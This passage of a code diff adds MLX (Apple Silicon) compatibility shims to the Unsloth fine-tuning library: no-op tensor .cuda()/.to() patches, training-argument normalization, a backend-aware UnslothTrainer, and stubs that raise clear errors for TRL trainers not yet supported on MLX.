+            mlx_tensor_to._unsloth_mlx_cuda_noop = True
+            mlx_tensor_to._unsloth_original_to = tensor_to
+            torch.Tensor.to = mlx_tensor_to
+
+        tensor_cuda = getattr(torch.Tensor, "cuda", None)
+        if tensor_cuda is not None and not getattr(tensor_cuda, "_unsloth_mlx_cuda_noop", False):
+
+            def mlx_tensor_cuda(self, *args, **kwargs):
+                """Treat tensor.cuda() as a no-op on MLX."""
+                return self
+
+            mlx_tensor_cuda._unsloth_mlx_cuda_noop = True
+            mlx_tensor_cuda._unsloth_original_cuda = tensor_cuda
+            torch.Tensor.cuda = mlx_tensor_cuda
+
+    _patch_mlx_torch_cuda_compat_api()
+
+    _MLX_TRAINING_CONFIG_FIELDS = {_field.name for _field in _dataclasses.fields(MLXTrainingConfig)}
+    _MLX_TRAINING_ARGUMENT_ALIASES = {
+        "max_length": "max_seq_length",
+    }
+    _MLX_COMPAT_EXTRA_ARGUMENTS = frozenset(
+        (
+            "bf16",
+            "dataloader_num_workers",
+            "dataloader_pin_memory",
+            "dataset_kwargs",
+            "ddp_find_unused_parameters",
+            "disable_tqdm",
+            "eval_strategy",
+            "evaluation_strategy",
+            "fp16",
+            "full_determinism",
+            "gradient_checkpointing_kwargs",
+            "hub_model_id",
+            "hub_token",
+            "log_level",
+            "logging_strategy",
+            "neftune_noise_alpha",
+            "optim_args",
+            "padding_free",
+            "push_to_hub",
+            "remove_unused_columns",
+            "save_on_each_node",
+            "save_safetensors",
+            "save_strategy",
+            "torch_compile",
+        )
+    )
+    _MLX_IMPLEMENTED_EXTRA_ARGUMENTS = frozenset(
+        (
+            "image_size",
+            "preserve_dataset_order",
+            "warmup_ratio",
+        )
+    )
+    _MLX_ALLOWED_EXTRA_ARGUMENTS = _MLX_COMPAT_EXTRA_ARGUMENTS | _MLX_IMPLEMENTED_EXTRA_ARGUMENTS
+    _MLX_UNSUPPORTED_TASK_ARGUMENTS = frozenset(
+        (
+            "assistant_only_loss",
+            "completion_only_loss",
+        )
+    )
+
+    def _is_mlx_no_save_strategy(value):
+        if hasattr(value, "value"):
+            value = value.value
+        strategy = str(value or "").strip().lower()
+        strategy = strategy.rsplit(".", 1)[-1]
+        return strategy in ("no", "none", "false")
+
+    _MLX_ADAMW_OPTIMIZER_ALIASES = frozenset(
+        (
+            "adamw_8bit",
+            "paged_adamw_8bit",
+            "adamw_bnb_8bit",
+            "paged_adamw_32bit",
+            "adamw_torch",
+            "adamw_torch_fused",
+            "paged_adamw",
+            "adamw_32bit",
+            "adamw_hf",
+            "adamw_anyprecision",
+            "adamw_apex_fused",
+        )
+    )
+
+    def _normalize_mlx_training_value(key, value):
+        if key == "eval_steps" and value is None:
+            return 0
+        if key == "num_train_epochs" and value is not None and not isinstance(value, bool):
+            try:
+                epochs = float(value)
+            except (TypeError, ValueError):
+                pass
+            else:
+                if epochs.is_integer():
+                    return int(epochs)
+        if key == "lr_scheduler_type" and hasattr(value, "value"):
+            return value.value
+        if key != "optim":
+            return value
+        try:
+            return _normalize_mlx_optimizer_name(value)
+        except ValueError:
+            # Older unsloth-zoo lacks CUDA/TRL optimizer aliases; map common
+            # adamw_* names so notebook defaults (optim="adamw_8bit") still work.
+            opt = str(getattr(value, "value", value) or "adamw").strip().lower()
+            opt = opt.rsplit(".", 1)[-1].replace("-", "_")
+            if opt in _MLX_ADAMW_OPTIMIZER_ALIASES:
+                return "adamw"
+            raise
+
+    def _mlx_training_argument_values(args):
+        values = {}
+        for field in _dataclasses.fields(MLXTrainingConfig):
+            if hasattr(args, field.name):
+                values[field.name] = _normalize_mlx_training_value(
+                    field.name,
+                    getattr(args, field.name),
+                )
+        for alias, target in _MLX_TRAINING_ARGUMENT_ALIASES.items():
+            if target not in values and hasattr(args, alias):
+                values[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else alias] = getattr(
+                    args, alias
+                )
+        for name in _MLX_ALLOWED_EXTRA_ARGUMENTS:
+            if hasattr(args, name):
+                values[name] = getattr(args, name)
+        for name in _MLX_UNSUPPORTED_TASK_ARGUMENTS:
+            if hasattr(args, name):
+                value = getattr(args, name)
+                if (
+                    name == "completion_only_loss"
+                    and value is not None
+                    and name in _MLX_TRAINING_CONFIG_FIELDS
+                ):
+                    values[name] = value
+                elif value is not None and value is not False:
+                    values[name] = value
+        if _is_mlx_no_save_strategy(values.get("save_strategy", None)):
+            values["save_steps"] = 0
+        return values
+
+    def _split_mlx_trainer_kwargs(kwargs):
+        trainer_kwargs = {}
+        config_kwargs = {}
+        ignored_kwargs = {}
+        for key, value in kwargs.items():
+            if key in _MLX_TRAINER_KWARGS:
+                trainer_kwargs[key] = value
+                continue
+            target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key)
+            if target in _MLX_TRAINING_CONFIG_FIELDS or key in _MLX_ALLOWED_EXTRA_ARGUMENTS:
+                config_kwargs[key] = value
+            else:
+                ignored_kwargs[key] = value
+        return trainer_kwargs, config_kwargs, ignored_kwargs
+
+    def _is_mlx_training_args_like(value):
+        if isinstance(value, (MLXTrainingConfig, dict, str, os.PathLike)):
+            return True
+        return any(
+            hasattr(value, name)
+            for name in (
+                "output_dir",
+                "per_device_train_batch_size",
+                "gradient_accumulation_steps",
+                "max_steps",
+                "learning_rate",
+            )
+        )
+
+    def _should_use_trl_positional_schema(args):
+        if len(args) < 2:
+            return False
+        if _is_mlx_training_args_like(args[1]):
+            return True
+        # TRL callers often pass explicit defaults:
+        # SFTTrainer(model, None, None, train_dataset, ...)
+        return len(args) >= 3 and args[1] is None and (args[2] is None or callable(args[2]))
+
+    def _assign_mlx_positional_kwarg(kwargs, name, value):
+        if name in kwargs:
+            raise TypeError(
+                f"UnslothTrainer.__init__() got multiple values for argument " f"{name!r}"
+            )
+        kwargs[name] = value
+
+    def _normalize_mlx_trainer_init_args(args, kwargs):
+        kwargs = dict(kwargs)
+        if len(args) == 0:
+            return kwargs
+
+        use_trl_schema = _should_use_trl_positional_schema(args)
+        positional_names = (
+            _TRL_SFT_TRAINER_POSITIONAL_KWARGS if use_trl_schema else _MLX_TRAINER_POSITIONAL_KWARGS
+        )
+        if len(args) > len(positional_names):
+            raise TypeError(
+                f"UnslothTrainer.__init__() takes at most "
+                f"{len(positional_names)} positional arguments on MLX "
+                f"({len(args)} given)"
+            )
+        for name, value in zip(positional_names, args):
+            _assign_mlx_positional_kwarg(kwargs, name, value)
+        return kwargs
+
+    def _is_meaningful_mlx_extra_value(value):
+        if value is None or value is False:
+            return False
+        if isinstance(value, (str, bytes)) and len(value) == 0:
+            return False
+        if isinstance(value, (dict, list, tuple, set, frozenset)) and len(value) == 0:
+            return False
+        return True
+
+    def _warn_ignored_mlx_training_args(extra_kwargs):
+        names = sorted(
+            key
+            for key, value in extra_kwargs.items()
+            if (key in _MLX_COMPAT_EXTRA_ARGUMENTS and _is_meaningful_mlx_extra_value(value))
+        )
+        if not names:
+            return
+        _warnings.warn(
+            "Unsloth MLX: accepting but not applying unsupported "
+            "TrainingArguments kwargs: "
+            f"{', '.join(names)}. These options are not implemented by "
+            "MLXTrainer yet.",
+            RuntimeWarning,
+            stacklevel = 3,
+        )
+
+    def _is_meaningful_mlx_trainer_kwarg(key, value):
+        if key == "optimizers" and value == (None, None):
+            return False
+        return _is_meaningful_mlx_extra_value(value)
+
+    def _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs):
+        names = sorted(
+            key
+            for key, value in ignored_kwargs.items()
+            if _is_meaningful_mlx_trainer_kwarg(key, value)
+        )
+        if not names:
+            return
+        raise NotImplementedError(
+            "Unsloth MLX: unsupported SFTTrainer kwargs cannot be ignored safely: "
+            f"{', '.join(names)}. Remove these kwargs or use a supported MLX "
+            "trainer configuration."
+        )
+
+    def _raise_unknown_mlx_training_args(extra_kwargs):
+        names = sorted(key for key in extra_kwargs if key not in _MLX_ALLOWED_EXTRA_ARGUMENTS)
+        if not names:
+            return
+        raise NotImplementedError(
+            "Unsloth MLX: unsupported TrainingArguments/SFTConfig kwargs: "
+            f"{', '.join(names)}. Remove these kwargs or use fields implemented "
+            "by MLXTrainingConfig."
+        )
+
+    def _positive_mlx_context_length(value):
+        if value is None or isinstance(value, bool):
+            return None
+        try:
+            length = int(value)
+        except (TypeError, ValueError, OverflowError):
+            return None
+        if length <= 0:
+            return None
+        return length
+
+    def _positive_mlx_training_number(value):
+        if value is None or isinstance(value, bool):
+            return None
+        try:
+            number = float(value)
+        except (TypeError, ValueError, OverflowError):
+            return None
+        if number <= 0:
+            return None
+        return number
+
+    def _set_mlx_cuda_style_context_length(args, length):
+        args.max_seq_length = length
+        args.max_length = length
+        args._unsloth_mlx_max_length_value = length
+        return args
+
+    class UnslothTrainingArguments(MLXTrainingConfig):
+        """MLX-compatible public training arguments for Unsloth notebooks."""
+
+        def __init__(self, *args, **kwargs):
+            if len(args) == 1 and isinstance(args[0], dict):
+                kwargs = {**args[0], **kwargs}
+            elif len(args) == 1 and isinstance(args[0], (str, os.PathLike)):
+                kwargs = {"output_dir": os.fspath(args[0]), **kwargs}
+            elif args:
+                raise TypeError(
+                    "UnslothTrainingArguments on MLX accepts keyword arguments, "
+                    "a dict, or a single positional output_dir."
+                )
+
+            max_length_value = kwargs.get("max_length", None)
+            # Only the canonical max_seq_length marks context length explicit; TRL
+            # max_length stays a compatibility alias and defers to the model's
+            # context length when one is available.
+            max_seq_length_explicit = (
+                _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None
+            )
+            if "max_length" in kwargs and "max_seq_length" not in kwargs:
+                kwargs["max_seq_length"] = kwargs["max_length"]
+            elif (
+                "max_length" in kwargs
+                and _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None
+            ):
+                max_length_value = kwargs["max_seq_length"]
+            if "num_train_epochs" in kwargs and "max_steps" not in kwargs:
+                kwargs["max_steps"] = -1
+
+            dataset_order_explicit = "dataset_order" in kwargs or bool(
+                kwargs.get("preserve_dataset_order", False)
+            )
+            append_eos_explicit = "append_eos" in kwargs
+            grad_clip_explicit = any(
+                name in kwargs for name in ("max_grad_norm", "max_grad_value", "max_grad_leaf_norm")
+            )
+            warmup_ratio = kwargs.get("warmup_ratio", None)
+            warmup_steps_supplied = "warmup_steps" in kwargs
+            warmup_steps_value = kwargs.get("warmup_steps", None)
+            warmup_steps_explicit = False
+            if warmup_steps_supplied:
+                try:
+                    warmup_steps_explicit = int(warmup_steps_value) > 0
+                except (TypeError, ValueError):
+                    warmup_steps_explicit = True
+            filtered_kwargs = {}
+            extra_kwargs = {}
+            for key, value in kwargs.items():
+                target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key)
+                if key != target and target in kwargs:
+                    continue
+                value = _normalize_mlx_training_value(target, value)
+                if target in _MLX_UNSUPPORTED_TASK_ARGUMENTS:
+                    if (
+                        target == "completion_only_loss"
+                        and value is not None
+                        and target in _MLX_TRAINING_CONFIG_FIELDS
+                    ):
+                        filtered_kwargs[target] = value
+                    elif _is_meaningful_mlx_extra_value(value):
+                        extra_kwargs[key] = value
+                    continue
+                if target in _MLX_TRAINING_CONFIG_FIELDS:
+                    filtered_kwargs[target] = value
+                else:
+                    extra_kwargs[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else key] = value
+
+            _raise_unknown_mlx_training_args(extra_kwargs)
+
+            if _is_mlx_no_save_strategy(extra_kwargs.get("save_strategy", None)):
+                filtered_kwargs["save_steps"] = 0
+
+            if warmup_ratio is not None and not warmup_steps_explicit:
+                import math as _math
+                max_steps = filtered_kwargs.get(
+                    "max_steps",
+                    getattr(MLXTrainingConfig, "max_steps", 60),
+                )
+                try:
+                    if int(max_steps) > 0:
+                        filtered_kwargs["warmup_steps"] = max(
+                            0,
+                            _math.ceil(int(max_steps) * float(warmup_ratio)),
+                        )
+                except (TypeError, ValueError):
+                    pass
+
+            super().__init__(**filtered_kwargs)
+            self._unsloth_mlx_dataset_order_explicit = dataset_order_explicit
+            self._unsloth_mlx_append_eos_explicit = append_eos_explicit
+            self._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit
+            self._unsloth_mlx_max_length_value = max_length_value
+            if "max_length" in kwargs:
+                self.max_length = max_length_value
+            self._unsloth_mlx_grad_clip_explicit = grad_clip_explicit
+            self._unsloth_mlx_warmup_steps_explicit = warmup_steps_explicit
+            self._unsloth_mlx_extra_args = extra_kwargs
+            for key, value in extra_kwargs.items():
+                setattr(self, key, value)
+            _warn_ignored_mlx_training_args(extra_kwargs)
+
+    def _resolve_mlx_cuda_style_max_seq_length(args, model = None):
+        model_max_seq_length = _positive_mlx_context_length(
+            getattr(model, "max_seq_length", None),
+        )
+        args_max_seq_length = _positive_mlx_context_length(
+            getattr(args, "max_seq_length", None),
+        )
+        args_max_seq_length_explicit = getattr(
+            args,
+            "_unsloth_mlx_max_seq_length_explicit",
+            None,
+        )
+        if args_max_seq_length_explicit is None:
+            default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048)
+            args_max_seq_length_explicit = (
+                args_max_seq_length is not None and args_max_seq_length != default_max_seq_length
+            )
+        if not args_max_seq_length_explicit:
+            args_max_seq_length = None
+
+        if args_max_seq_length is None and model_max_seq_length is not None:
+            args_max_seq_length = model_max_seq_length
+        elif (
+            args_max_seq_length is not None
+            and model_max_seq_length is not None
+            and args_max_seq_length > model_max_seq_length
+        ):
+            print(
+                "Unsloth: You set `max_seq_length` as "
+                f"{args_max_seq_length} but the maximum the model supports is "
+                f"{model_max_seq_length}. We shall reduce it."
+            )
+            args_max_seq_length = model_max_seq_length
+
+        if args_max_seq_length is not None:
+            _set_mlx_cuda_style_context_length(args, args_max_seq_length)
+            return args
+
+        model_max_length = model_max_seq_length
+        if model_max_length is None:
+            model_max_length = _positive_mlx_context_length(
+                getattr(model, "max_length", None),
+            )
+        if model_max_length is not None:
+            _set_mlx_cuda_style_context_length(args, model_max_length)
+            return args
+
+        args_max_length = _positive_mlx_context_length(
+            getattr(args, "max_length", None),
+        )
+        if args_max_length is None:
+            args_max_length = _positive_mlx_context_length(
+                getattr(args, "_unsloth_mlx_max_length_value", None),
+            )
+        if args_max_length is not None:
+            _set_mlx_cuda_style_context_length(args, args_max_length)
+            if model is not None:
+                setattr(model, "max_seq_length", args_max_length)
+            return args
+
+        _set_mlx_cuda_style_context_length(args, 1024)
+        return args
+
+    def _apply_unsloth_trainer_mlx_defaults(
+        args,
+        model = None,
+        max_seq_length_explicit = False,
+    ):
+        if (
+            not getattr(args, "streaming", False)
+            and not getattr(args, "preserve_dataset_order", False)
+            and not getattr(args, "_unsloth_mlx_dataset_order_explicit", False)
+        ):
+            default_order = getattr(MLXTrainingConfig, "dataset_order", "default")
+            if getattr(args, "dataset_order", default_order) in (None, default_order):
+                args.dataset_order = "torch_randperm"
+
+        if isinstance(args, UnslothTrainingArguments) and not getattr(
+            args, "_unsloth_mlx_append_eos_explicit", False
+        ):
+            args.append_eos = False
+
+        if isinstance(args, UnslothTrainingArguments) and not getattr(
+            args, "_unsloth_mlx_grad_clip_explicit", False
+        ):
+            max_grad_norm = _positive_mlx_training_number(
+                getattr(args, "max_grad_norm", None),
+            )
+            max_grad_value = _positive_mlx_training_number(
+                getattr(args, "max_grad_value", None),
+            )
+            max_grad_leaf_norm = _positive_mlx_training_number(
+                getattr(args, "max_grad_leaf_norm", None),
+            )
+            if max_grad_norm is None and max_grad_value is None and max_grad_leaf_norm is None:
+                args.max_grad_norm = 1.0
+
+        if not max_seq_length_explicit:
+            _resolve_mlx_cuda_style_max_seq_length(args, model = model)
+        return args
+
+    def _coerce_mlx_training_args(args, overrides = None):
+        overrides = overrides or {}
+        if isinstance(args, MLXTrainingConfig) and not overrides:
+            return args
+        dataset_order_explicit = None
+        append_eos_explicit = None
+        max_seq_length_explicit = None
+        max_length_value = None
+        grad_clip_explicit = None
+        if args is None:
+            values = {}
+        elif isinstance(args, dict):
+            values = dict(args)
+        elif isinstance(args, (str, os.PathLike)):
+            values = {"output_dir": os.fspath(args)}
+        else:
+            dataset_order_explicit = getattr(
+                args,
+                "_unsloth_mlx_dataset_order_explicit",
+                False,
+            )
+            append_eos_explicit = getattr(
+                args,
+                "_unsloth_mlx_append_eos_explicit",
+                None,
+            )
+            max_seq_length_explicit = getattr(
+                args,
+                "_unsloth_mlx_max_seq_length_explicit",
+                None,
+            )
+            if max_seq_length_explicit is None:
+                args_max_seq_length = _positive_mlx_context_length(
+                    getattr(args, "max_seq_length", None),
+                )
+                default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048)
+                max_seq_length_explicit = (
+                    args_max_seq_length is not None
+                    and args_max_seq_length != default_max_seq_length
+                )
+            max_length_value = getattr(
+                args,
+                "_unsloth_mlx_max_length_value",
+                getattr(args, "max_length", None),
+            )
+            grad_clip_explicit = getattr(
+                args,
+                "_unsloth_mlx_grad_clip_explicit",
+                None,
+            )
+            values = _mlx_training_argument_values(args)
+            if hasattr(args, "max_length"):
+                values["max_length"] = getattr(args, "max_length")
+        values.update(overrides)
+        coerced = UnslothTrainingArguments(**values)
+        if (
+            dataset_order_explicit is not None
+            and "dataset_order" not in overrides
+            and "preserve_dataset_order" not in overrides
+        ):
+            coerced._unsloth_mlx_dataset_order_explicit = dataset_order_explicit
+        if append_eos_explicit is not None and "append_eos" not in overrides:
+            coerced._unsloth_mlx_append_eos_explicit = append_eos_explicit
+        if (
+            max_seq_length_explicit is not None
+            and "max_seq_length" not in overrides
+            and "max_length" not in overrides
+        ):
+            coerced._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit
+        if max_length_value is not None and "max_length" not in overrides:
+            coerced._unsloth_mlx_max_length_value = max_length_value
+            coerced.max_length = max_length_value
+        if (
+            grad_clip_explicit is not None
+            and "max_grad_norm" not in overrides
+            and "max_grad_value" not in overrides
+            and "max_grad_leaf_norm" not in overrides
+        ):
+            coerced._unsloth_mlx_grad_clip_explicit = grad_clip_explicit
+        return coerced
+
+    _MLX_TRAINER_POSITIONAL_KWARGS = (
+        "model",
+        "tokenizer",
+        "train_dataset",
+        "eval_dataset",
+        "dataset_text_field",
+        "max_seq_length",
+        "packing",
+        "data_collator",
+        "args",
+        "formatting_func",
+        "processor",
+    )
+    _TRL_SFT_TRAINER_POSITIONAL_KWARGS = (
+        "model",
+        "args",
+        "data_collator",
+        "train_dataset",
+        "eval_dataset",
+        "processing_class",
+        "compute_loss_func",
+        "compute_metrics",
+        "callbacks",
+        "optimizers",
+        "optimizer_cls_and_kwargs",
+        "preprocess_logits_for_metrics",
+        "peft_config",
+        "formatting_func",
+    )
+    _MLX_TRAINER_KWARGS = frozenset(_MLX_TRAINER_POSITIONAL_KWARGS)
+
+    def _is_mlx_native_text_collator(collator):
+        """HF pad/copy collators are redundant on MLX; match by class name."""
+        for klass in type(collator).__mro__:
+            name = klass.__name__
+            if name in (
+                "DataCollatorForSeq2Seq",
+                "DataCollatorWithPadding",
+                "DefaultDataCollator",
+            ):
+                return True
+            if name == "DataCollatorForLanguageModeling":
+                # Plain causal padding is fine; MLM masking changes semantics.
+                return not bool(getattr(collator, "mlm", False))
+        return False
+
+    _MLX_VISION_COLLATOR_FORWARDED_KWARGS = frozenset(
+        ("completion_only_loss", "formatting_func", "max_seq_length")
+    )
+    _MLX_VISION_COLLATOR_IMAGE_KWARGS = frozenset(("image_size", "resize"))
+    _MLX_VISION_COLLATOR_POSITIONAL_KWARGS = (
+        "max_seq_length",
+        "formatting_func",
+        "resize",
+        "ignore_index",
+        "train_on_responses_only",
+        "instruction_part",
+        "response_part",
+        "force_match",
+        "num_proc",
+        "completion_only_loss",
+        "pad_to_multiple_of",
+        "resize_dimension",
+        "snap_to_patch_size",
+        "last_response_only",
+    )
+    _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS = {
+        "ignore_index": -100,
+        "train_on_responses_only": False,
+        "instruction_part": None,
+        "response_part": None,
+        "force_match": True,
+        "num_proc": None,
+        "pad_to_multiple_of": None,
+        "resize_dimension": 0,
+        "snap_to_patch_size": False,
+        "last_response_only": False,
+    }
+
+    def _is_default_mlx_vision_collator_value(key, value):
+        """Return whether an unsupported collator value is the CUDA default."""
+        if key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS:
+            return False
+        default = _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS[key]
+        if default is None:
+            return value is None
+        if isinstance(default, bool):
+            return value is default
+        return value == default and type(value) is type(default)
+
+    def _has_mlx_training_arg_value(args, key):
+        """Return whether training args already carry an explicit config value."""
+        if args is None or isinstance(args, (str, os.PathLike)):
+            return False
+        if isinstance(args, dict):
+            return key in args
+        return getattr(args, key, None) is not None
+
+    def _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs):
+        """Reject VLM collator kwargs that cannot be ignored safely on MLX."""
+        unsupported = sorted(
+            key
+            for key, value in collator_kwargs.items()
+            if (
+                key not in _MLX_VISION_COLLATOR_FORWARDED_KWARGS
+                and key not in _MLX_VISION_COLLATOR_IMAGE_KWARGS
+                and (
+                    (
+                        key in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS
+                        and not _is_default_mlx_vision_collator_value(key, value)
+                    )
+                    or (
+                        key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS
+                        and _is_meaningful_mlx_extra_value(value)
+                    )
+                )
+            )
+        )
+        if unsupported:
+            raise NotImplementedError(
+                "Unsloth MLX: unsupported UnslothVisionDataCollator kwargs "
+                f"cannot be ignored safely: {', '.join(unsupported)}."
+            )
+
+    class UnslothTrainer(MLXTrainer):
+        """Backend-aware public trainer that routes supported SFT notebooks to MLX."""
+
+        def __init__(self, *args, **kwargs):
+            kwargs = _normalize_mlx_trainer_init_args(args, kwargs)
+            processing_class = kwargs.pop("processing_class", None)
+            processor_from_processing_class = False
+            if processing_class is not None:
+                if kwargs.get("processor", None) is None:
+                    kwargs["processor"] = processing_class
+                    processor_from_processing_class = True
+                if kwargs.get("tokenizer", None) is None:
+                    kwargs["tokenizer"] = getattr(
+                        processing_class,
+                        "tokenizer",
+                        processing_class,
+                    )
+            kwargs.setdefault("tokenizer", None)
+
+            data_collator = kwargs.pop("data_collator", None)
+            if data_collator is not None:
+                if isinstance(data_collator, UnslothVisionDataCollator):
+                    collator_processor = getattr(data_collator, "processor", None)
+                    if collator_processor is not None and (
+                        kwargs.get("processor", None) is None or processor_from_processing_class
+                    ):
+                        kwargs["processor"] = collator_processor
+                        if kwargs.get("tokenizer", None) is None:
+                            kwargs["tokenizer"] = getattr(
+                                collator_processor,
+                                "tokenizer",
+                                collator_processor,
+                            )
+                    collator_kwargs = getattr(data_collator, "kwargs", None) or {}
+                    collator_explicit_kwargs = getattr(
+                        data_collator,
+                        "_unsloth_mlx_explicit_kwargs",
+                        set(collator_kwargs),
+                    )
+                    collator_image_size = collator_kwargs.get(
+                        "image_size",
+                        collator_kwargs.get("resize", None),
+                    )
+                    if isinstance(collator_image_size, list):
+                        collator_image_size = tuple(collator_image_size)
+                    if (
+                        isinstance(collator_image_size, str)
+                        and collator_image_size.lower() == "max"
+                    ):
+                        collator_image_size = "max"
+                    if "image_size" not in kwargs and (
+                        isinstance(collator_image_size, int)
+                        or collator_image_size == "max"
+                        or (
+                            isinstance(collator_image_size, tuple)
+                            and len(collator_image_size) == 2
+                            and all(isinstance(x, int) for x in collator_image_size)
+                        )
+                    ):
+                        kwargs["image_size"] = collator_image_size
+                    for collator_key in _MLX_VISION_COLLATOR_FORWARDED_KWARGS:
+                        collator_defaulted_value = collator_key not in collator_explicit_kwargs
+                        if collator_defaulted_value and _has_mlx_training_arg_value(
+                            kwargs.get("args"), collator_key
+                        ):
+                            continue
+                        if (
+                            collator_key in collator_kwargs
+                            and collator_key not in kwargs
+                            and collator_kwargs[collator_key] is not None
+                        ):
+                            kwargs[collator_key] = collator_kwargs[collator_key]
+                    _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs)
+                elif _is_mlx_native_text_collator(data_collator):
+                    pass  # redundant on MLX; MLXTrainer batches/masks/pads natively
+                else:
+                    raise NotImplementedError(
+                        "Unsloth MLX: custom data_collator is not supported by "
+                        "MLXTrainer. Pass the dataset directly or use the MLX "
+                        "trainer's native batching path."
+                    )
+
+            trainer_kwargs, config_kwargs, ignored_kwargs = _split_mlx_trainer_kwargs(kwargs)
+            _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs)
+            trainer_kwargs["args"] = _coerce_mlx_training_args(
+                trainer_kwargs.get("args"),
+                config_kwargs,
+            )
+            if getattr(
+                trainer_kwargs["args"], "completion_only_loss", None
+            ) is True and not _is_vlm_model(trainer_kwargs.get("model")):
+                raise NotImplementedError(
+                    "Unsloth MLX: completion_only_loss=True is only supported "
+                    "for VLM training. For text SFT, call train_on_responses_only "
+                    "after constructing the trainer."
+                )
+            if getattr(
+                trainer_kwargs["args"], "train_on_completions", None
+            ) is True and not _is_vlm_model(trainer_kwargs.get("model")):
+                raise NotImplementedError(
+                    "Unsloth MLX: train_on_completions=True is only supported "
+                    "for VLM training. For text SFT, call train_on_responses_only "
+                    "after constructing the trainer."
+                )
+            trainer_kwargs["args"] = _apply_unsloth_trainer_mlx_defaults(
+                trainer_kwargs["args"],
+                model = trainer_kwargs.get("model"),
+                max_seq_length_explicit = (trainer_kwargs.get("max_seq_length") is not None),
+            )
+
+            super().__init__(**trainer_kwargs)
+            self.processing_class = (
+                processing_class
+                if processing_class is not None
+                else self.processor or self.tokenizer
+            )
+            if trainer_kwargs.get("max_seq_length") is not None:
+                _set_mlx_cuda_style_context_length(
+                    self.args,
+                    self.args.max_seq_length,
+                )
+            self._unsloth_mlx_ignored_trainer_kwargs = ignored_kwargs
+
     class UnslothVisionDataCollator:
+        def __init__(
+            self,
+            model = None,
+            processor = None,
+            *args,
+            **kwargs,
+        ):
+            explicit_kwargs = set(kwargs)
+            if len(args) > len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS):
+                raise TypeError(
+                    "UnslothVisionDataCollator on MLX accepts at most "
+                    f"{len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS)} positional "
+                    "options after model and processor."
+                )
+            for key, value in zip(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS, args):
+                if key in kwargs:
+                    raise TypeError(
+                        f"UnslothVisionDataCollator got multiple values for argument {key!r}"
+                    )
+                kwargs[key] = value
+                explicit_kwargs.add(key)
+            if "completion_only_loss" not in kwargs:
+                kwargs["completion_only_loss"] = True
+            self.model = model
+            self.processor = processor
+            self.args = ()
+            self.kwargs = kwargs
+            self._unsloth_mlx_explicit_kwargs = explicit_kwargs
+
+        def __call__(self, features):
+            raise NotImplementedError(
+                "Unsloth: UnslothVisionDataCollator is a compatibility placeholder "
+                "on MLX. Pass the dataset to UnslothTrainer; MLXTrainer performs "
+                "vision batching internally."
+            )
+
+    def get_chat_template(*args, **kwargs):
+        """Apply an Unsloth chat template through a lazy MLX-safe import."""
+        from .chat_templates import get_chat_template as _get_chat_template
+        return _get_chat_template(*args, **kwargs)
+
+    def apply_chat_template(*args, **kwargs):
+        """Format a dataset with an Unsloth chat template through a lazy import."""
+        from .chat_templates import apply_chat_template as _apply_chat_template
+        return _apply_chat_template(*args, **kwargs)
+
+    def standardize_data_formats(*args, **kwargs):
+        """Normalize ShareGPT-style datasets through the shared zoo helper."""
+        from unsloth_zoo.dataset_utils import standardize_data_formats as _standardize_data_formats
+        return _standardize_data_formats(*args, **kwargs)
+
+    def standardize_sharegpt(*args, **kwargs):
+        """Alias ShareGPT standardization to the shared dataset-format helper."""
+        return standardize_data_formats(*args, **kwargs)
+
+    def train_on_responses_only(*args, **kwargs):
+        """Mask non-response tokens through the shared zoo dataset helper."""
+        from unsloth_zoo.dataset_utils import train_on_responses_only as _train_on_responses_only
+        return _train_on_responses_only(*args, **kwargs)
+
+    def _safe_mlx_trl_star_exports(_trl):
+        """Return importable TRL star exports plus the MLX SFT shims."""
+        exports = list(getattr(_trl, "__all__", ()))
+        safe_exports = []
+        for name in exports:
+            try:
+                getattr(_trl, name)
+            except Exception:
+                continue
+            safe_exports.append(name)
+        for name in ("SFTConfig", "SFTTrainer"):
+            if name not in safe_exports:
+                safe_exports.append(name)
+        return safe_exports
+
+    # trl trainers with no MLX implementation yet. Swap them for stubs that fail
+    # with a clear message instead of importing the real torch/CUDA trainer and
+    # crashing deep inside it, so an unmigrated GRPO/DPO/ORPO notebook is legible.
+    _MLX_UNSUPPORTED_TRL_TRAINERS = (
+        "GRPOTrainer",
+        "DPOTrainer",
+        "ORPOTrainer",
+        "KTOTrainer",
+        "PPOTrainer",
+        "RewardTrainer",
+    )
+
+    def _make_mlx_unsupported_trl_trainer(name):
         def __init__(self, *args, **kwargs):
             raise NotImplementedError(
-                "Unsloth: UnslothVisionDataCollator is not used on MLX. "
-                "Use the MLX trainer/data path instead."
+                f"Unsloth: {name} is not yet supported on the MLX (Apple Silicon) "
+                f"backend. Only SFT training runs on MLX today; use a CUDA/ROCm GPU "
+                f"for {name}."
             )
 
+        return type(name, (), {"__init__": __init__, "_unsloth_mlx_unsupported": True})
+
+    class _MLXSFTConfig(UnslothTrainingArguments):
+        """`trl.SFTConfig` alias that keeps TRL's default training length.
+
+        TRL/HF SFTConfig defaults to num_train_epochs=3 (max_steps=-1); the
+        native MLX config defaults to max_steps=60. An unmigrated notebook that
+        builds SFTConfig without an explicit length would otherwise silently run
+        60 MLX steps under this alias, so seed the TRL epoch default when neither
+        max_steps nor num_train_epochs is given (epoch mode is MLX-supported).
+        """
+
+        def __init__(self, *args, **kwargs):
+            keys = set(kwargs)
+            if len(args) == 1 and isinstance(args[0], dict):
+                keys |= set(args[0])
+            if not ({"max_steps", "num_train_epochs"} & keys):
+                kwargs.setdefault("num_train_epochs", 3)
+            super().__init__(*args, **kwargs)
+
